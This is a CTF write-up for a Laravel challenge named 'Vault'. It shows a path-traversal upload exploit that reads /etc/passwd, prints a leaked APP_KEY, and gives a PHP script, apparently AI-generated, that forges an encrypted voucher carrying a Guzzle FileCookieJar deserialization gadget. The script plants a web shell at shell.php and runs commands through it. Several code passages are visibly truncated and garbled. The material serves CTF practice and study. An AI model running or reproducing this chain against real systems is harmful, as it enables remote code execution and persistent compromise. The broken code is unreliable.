# Vault - web ## entrypoint.sh ```shell ... mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt ... ``` Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt` ## Compose The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging. Instead of docker build, start, stop, change code, rebuild, ... just add a compose file. This example assumes to be one directory level above the provided challenge files: ```yaml services: vault: build: context: ./challenge dockerfile: Dockerfile ports: - "9090:80" container_name: vault restart: unless-stopped ``` ## LFI In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload. ```php=69 $name = $_FILES['avatar']['full_path']; $path = "/var/www/storage/app/public/avatars/$name"; $request->file('avatar')->storeAs('avatars', basename($name), 'public'); $user->avatar = $path; $user->save(); ``` ```php=69 $name = $_FILES['avatar']['full_path']; ``` is completely user supplied. https://www.php.net/manual/en/reserved.variables.files.php The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized. ```php=70 $path = "/var/www/storage/app/public/avatars/$name"; ``` No sanitizing here. ```php=71 $request->file('avatar')->storeAs('avatars', basename($name), 'public'); ``` The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder. ```php=73 $user->avatar = $path; $user->save(); ``` The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database. So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal. When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal. Sadly there is no GUI for the avatar upload. Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance: ```php-template=26

Update Avatar

@csrf
@if (session('avatar_error'))
  • {{ session('avatar_error') }}
  • @endif
    ``` 0. Rebuild the challenge 1. upload a legitimate image file, sniff the http request 2. manipulate and resend http request to change the full_path name ```http Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd" ``` 3. read `/etc/passwd` from http://localhost:9090/avatar Further things that might be interesting: - php Application - Database - php sessions - log files? - ...? - system - environment variables? `/var/www/.env` contains ``` APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI= ``` -> this should allow for creation and signing of things? - Voucher - Cookies - Sessions - ??? Probably even leading to insecure deserialisation?? Even if the cookie signing itself should not be vulnerable, there is some custom decryption logic for the vouchers that might be vulnerable. `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php` ```php=37 $voucher = encrypt([ 'amount' => $amount, 'created_by' => $user->uuid, 'created_at' => Carbon::now() ]); ``` ```php=53 $voucher = decrypt($data['voucher']); ``` https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56 > encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …). The `VouchersController` does not use `$serialize=true`, will this work anyway? > [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application. - [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation? Also had severa trouble with the tool, probably user error... Guzzle is also available, maybe matching. ``` 'cipher' => 'AES-256-CBC', ``` After some discussion with copilot, it explained that there is need for a __descruct() call in combination with some other neccessary. There is a guzzle CookieJar Class, that fits! Copilot got tired (whatever problem, idk), so gemini created this script, that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`... But ctf was already over :( ```php '; $cookie = new SetCookie([ 'Name' => 'payload', 'Value' => $payloadStr, 'Domain' => 'example.com', 'Path' => '/', 'Max-Age' => null, 'Expires' => null, 'Secure' => false, 'Discard' => false, 'HttpOnly' => false, ]); // Gadget chain using FileCookieJar $filename = '/var/www/public/shell.php'; $jarPayload = new FileCookieJar($filename, true); $jarPayload->setCookie($cookie); $serialized = serialize($jarPayload); $iv = random_bytes(16); $encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv); $payloadArr = [ 'iv' => base64_encode($iv), 'value' => $encrypted, 'tag' => base64_encode('') ]; $voucher = base64_encode(json_encode($payloadArr)); echo "[+] Generated voucher payload.\n"; $jar = new CookieJar(); $client = new Client([ 'base_uri' => $baseUri, 'cookies' => $jar, 'http_errors' => false ]); echo "[+] Fetching CSRF token...\n"; $res = $client->get('/register'); $html = (string) $res->getBody(); preg_match('/post('/register', [ 'form_params' => [ '_token' => $csrfToken, 'username' => $username, 'password' => $password, 'password2' => $password ] ]); echo "[+] Logging in...\n"; $res = $client->post('/login', [ 'form_params' => [ '_token' => $csrfToken, 'username' => $username, 'password' => $password ] ]); echo "[+] Fetching new CSRF token for voucher redemption...\n"; $res = $client->get('/vouchers'); $html = (string) $res->getBody(); preg_match('/post('/vouchers/redeem', [ 'form_params' => [ '_token' => $csrfToken, 'voucher' => $voucher ] ]); echo "[+] Status from redeem: " . $res->getStatusCode() . "\n"; echo "[+] Triggering payload at /shell.php...\n"; $res = $client->get('/shell.php', [ 'query' => [ '1' => 'ls / > /tmp/ls.txt' ] ]); echo "[+] Trigger response: " . $res->getStatusCode() . "\n"; echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n"; ```